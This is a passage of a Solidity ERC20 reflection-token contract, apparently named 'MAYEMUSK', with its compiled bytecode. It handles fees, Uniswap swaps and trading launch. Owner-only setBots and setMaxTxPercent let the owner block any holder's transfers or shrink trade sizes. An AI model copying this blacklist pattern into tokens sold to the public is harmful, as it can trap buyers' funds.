require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4d4159454d55534b000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d4159454d55534b000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6001600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c